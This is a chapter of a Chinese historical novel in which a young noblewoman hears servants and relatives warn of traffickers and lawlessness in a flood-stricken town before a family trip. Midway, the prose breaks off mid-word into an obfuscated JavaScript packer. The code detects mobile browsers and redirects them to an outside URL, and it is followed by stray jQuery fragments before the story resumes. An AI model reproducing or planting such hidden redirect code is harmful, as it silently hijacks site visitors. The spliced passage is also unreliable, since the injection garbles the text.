我心头一凛，面上却不动声色：“怎么个不太平法？”
春竹环顾四周，确认没有旁人，才凑近些说：“周绣娘有个表亲，前年在清河镇开了个小铺子。去年山洪过后，镇上来了好多逃荒的人。周绣娘的表亲心善，施了几顿粥。结果……结果就被人盯上了。”
“盯上？”
“嗯。”春竹的声音有些发颤，“说是……说是牙人。他们看中铺子里一个帮工的小伙计，那孩子才十三岁，爹娘都死在洪水里了。牙人想把他掳走卖掉，周绣娘的表亲不肯，护着那孩子……”
她顿了顿，眼圈微微发红：“后来铺子就被人砸了。表亲被打断了腿，那孩子……还是被带走了。周绣娘说，她表亲现在走路还一瘸一拐的，再也不敢去清河镇了。”
房间里忽然安静下来。只有窗外风吹过竹林的沙沙声，像某种低语。我端起已经凉透的茶，抿了一口。茶汤苦涩，带着凉意滑过喉咙。不好的预感涌上心头……
“周绣娘还说过什么吗？”我问。
春竹摇摇头：“没有了，周绣娘只嘱咐奴婢好生伺候小姐，若是出门，千万当心。”她顿了顿，声音里带了恳求，“小姐，要不……您跟夫人说说，就说身子不适，这次就不去了？”
我沉默着，指尖无意识地摩挲着茶盏上细腻的冰裂纹。
不去？可是春竹提到的山洪、牙人，这些明晃晃的信息都在提醒我，这一切都没有结束，我或许来到了阿山和妞妞去世一年后的世界。清河镇就在那里，那个阿山母亲警告过的地方，那个李大先生逃往的方向，那个与林府这层温软绸缎仅一墙之隔，曾令我毫无还手之力的地方。我要躲吗？还是……
“小姐？”春竹又唤了一声。
抬起头，我对她笑了笑，笑容大概有些僵硬，因为我看见春竹眼里闪过一丝不安。我收回笑容，轻吸一口气，阿山和妞妞曾经给了我那么多帮助和安慰，哪怕他们是虚构的，我也应该要去确认一下。
“母亲说得对。”我说，声音平静得连自己都有些意外，“我总不能一辈子躲在家里。”
春竹还想说什么，我摆了摆手。她应了声，退下了。
轩榭里又恢复了安静。湖面上的粼光不知何时已经暗了下去，天色正以一种不易察觉的速度变灰。远处传来隐约的钟声，大概是哪个寺庙的晚钟，一声，又一声，沉甸甸地敲在暮色里。
接下来的两日，林府上下都在为出行做着准备，表面一切如常，井然有序。母亲身边的管事嬷嬷亲自来我院里，询问衣裳首饰可还齐备，又嘱咐春竹和另一个叫秋穗的小丫鬟，出门在外要格外仔细。母亲自己也来过一次，带来一盒新打的珠花，说是清河镇“玲珑阁”最新的样式，顺路可以去看看。越是如常，我心底那根弦就绷得越紧。我开始留意府中下人们偶尔的低声交谈，那些原本被我忽略关于外面的只言片语。
去针线房取新做的披风时，周绣娘正低头分线，侧影在窗光里显得有些单薄。我示意春竹在外等候，自己走了进去。
“周绣娘。”我轻声唤道。
她连忙起身行礼：“小姐。”
“不必多礼。”我在她旁边的绣墩上坐下，目光落在她微微颤抖的手指上，“春竹同我说了……你表亲的事。我很抱歉。”
周绣娘眼圈立刻红了，慌忙用袖子按了按眼角：“劳小姐记挂……都是过去的事了。只是那地方……”她声音压得极低，带着后怕，“小姐金枝玉叶，若非必要，实在……实在不宜踏足。夫人疼小姐，或许不知那边如今的光景。自打去年那场大水，冲垮了上游好几个村子，清河镇涌进去的人，三教九流，什么人都有。镇上的老住户都说，天一擦黑，街上就没什么正经行人了。”
“牙人……很多吗？”我问。
周绣娘脸色更白，点了点头，又迅速摇头：“奴婢不敢妄言……只是听说，不止是牙人。还有……专做‘黑活’的。”她吐出这两个字时，声音几乎含在喉咙里，“我表亲后来托人带话，说打断他腿的，未必是寻常地痞，那些人下手狠辣，像是……有路数的。”
“路数？”
“嗯。”周绣娘凑近些，身上干净的皂角味混着一丝极淡的恐惧气息，“表亲说，那些人砸铺子时，不像只为泄愤，倒像在找什么人。后来镇上也有别的铺子遭过殃，都是家里有半大孩子，或是新雇了来历不明伙计的。”
我心头一沉。找人？找什么人？
从针线房出来，阳光正好，我却觉得有些冷。经过花园角门时，听见两个负责洒扫的粗使婆子在闲话。
一个说：“……听说夫人要带小姐去清河镇？哎哟，那地方可去不得，我娘家兄弟前个月去那边收山货，回来说镇上客栈里住的，好些眼神都不对，盯着人瞧，瘆得慌。”
另一个压低声音：“可不是么！我听说啊，镇子西头那片老屋，晚上常有怪声，像是人哭，又像是……野兽叫。有人说是山洪冲出来的冤魂不散，也有人说是……”她声音更低了，后面的话听不真切，只隐约捕捉到“拍花子”、“拐子”几个词。
我脚步未停，仿佛什么都没听见，径直走了过去。但那些零碎的词句，却像生了根的藤蔓，缠绕上来。
人就是这样，一旦注意了，就会发现生活里处处充斥这类似的流言。就像这次母亲与管事在屋里说话，我嫌屋内闷，便带着春竹在庄子旁的打谷场边慢慢走着。场边有几棵老槐树，浓荫匝地，几个庄户妇人正坐在树下歇晌，一边做着针线，一边低声聊着天。她们起初没注意到我，或者说，看到了这位小姐在远处，声音便不自觉地又压低了些，但那话语的碎片，还是随着风，断断续续地飘了过来。
“……可不是么，吓死个人！我娘家表姐嫁在清河镇边上，她说现在天一黑，镇上就跟鬼掐了嗓子似的，静得吓人，可那静里头又好像有东西在响，窸窸窣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119597|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窣的……”
“唉，都是去年那场大水造的孽……人一穷，啥事干不出来？听说镇上济世堂那边，后巷子一到后半夜，就有影影绰绰的人影，还有股子怪甜怪甜的味道，闻了头晕！”
一个年轻些的媳妇声音里带着恐惧：“娘，你们别说了……我听着就心慌。前儿不是还有货郎说，清河镇西头老义庄附近，夜里老有野狗叫得特别凶，还刨出过……” 后面的话被另一个妇人急促的“嘘”声打断了。
“嘘！快别说了，主家有人来了……”
晚膳时，父亲难得也在。他问了问母亲出行准备，又转向我，语气温和：“晚琪出去散散心也好。清河镇虽不比州府繁华，但民风……以往还算淳朴。为父在那边也有两家相识的商号，若看中什么，只管记下，让他们送到府上便是。”
“多谢父亲。”我垂眸应道。
“不过，”父亲话锋微转，用公筷替我夹了一块清蒸鲈鱼，“出门在外，不比家里。要紧的是安稳二字。多听你母亲安排，丫鬟婆子带齐全，莫要独自走动，更莫好奇去些偏僻处所。如今外面……流民未靖，总有些不妥当地的地方。”
母亲在一旁微笑：“老爷放心，我都省得。不过带女儿去看看铺子，挑些衣料玩意儿，半日功夫就回了，能有什么事。”
父亲点点头，不再多说。他语气里的谨慎和母亲笑容里的不以为意，形成一种微妙的对峙，让我食不知味。
出发前一天，陪母亲在花厅见一位远房来请安的婶娘。那婶娘是母亲的堂妹，嫁在邻县，说话爽利。闲话家常后，她便叹起气来：“……如今外面真是不比从前了。我们庄子附近有个清河镇，姐姐是知道的吧？以往还算个太平去处，自打去年那场大水，冲了好些村子，流民一窝蜂涌进去，如今可是乱了套了。”
母亲微微蹙眉：“哦？乱在何处？”
婶娘凑近些，用手帕掩了掩嘴角，低声道：“龙蛇混杂！听说镇上来了好些生面孔，开着些不三不四的铺子。有那暗地里卖‘黑烟’的，专勾人魂魄，沾上了就废了！还有啊，客栈里住的人也是杂，眼神都邪性，盯着人看……镇上老户都说，夜里早早关门，姑娘媳妇等闲不敢出门。”
母亲端起茶盏，淡淡道：“穷山恶水，难免有些宵小。官府也不管管？”
“管？”婶娘撇撇嘴，“天高皇帝远，那些差爷……哼，说不定还抽着份子钱呢。反正啊，咱们这样的人家，可千万别往那边凑。”她说着，脸上露出真切的不赞同，“我听说姐夫打算把生意扩展到清河镇，你也不劝劝他！那地方如今就是个浑水潭，沾上怕有麻烦。”
母亲轻轻放下茶盏，语气平和却不容置疑：“老爷有老爷的打算。生意上的事，我们妇道人家也不甚明白。不过是去看看料子，半日就回，不妨事的。”
婶娘见母亲如此说，也不好再深劝，只又念叨了几句“小心为上”，便岔开了话题。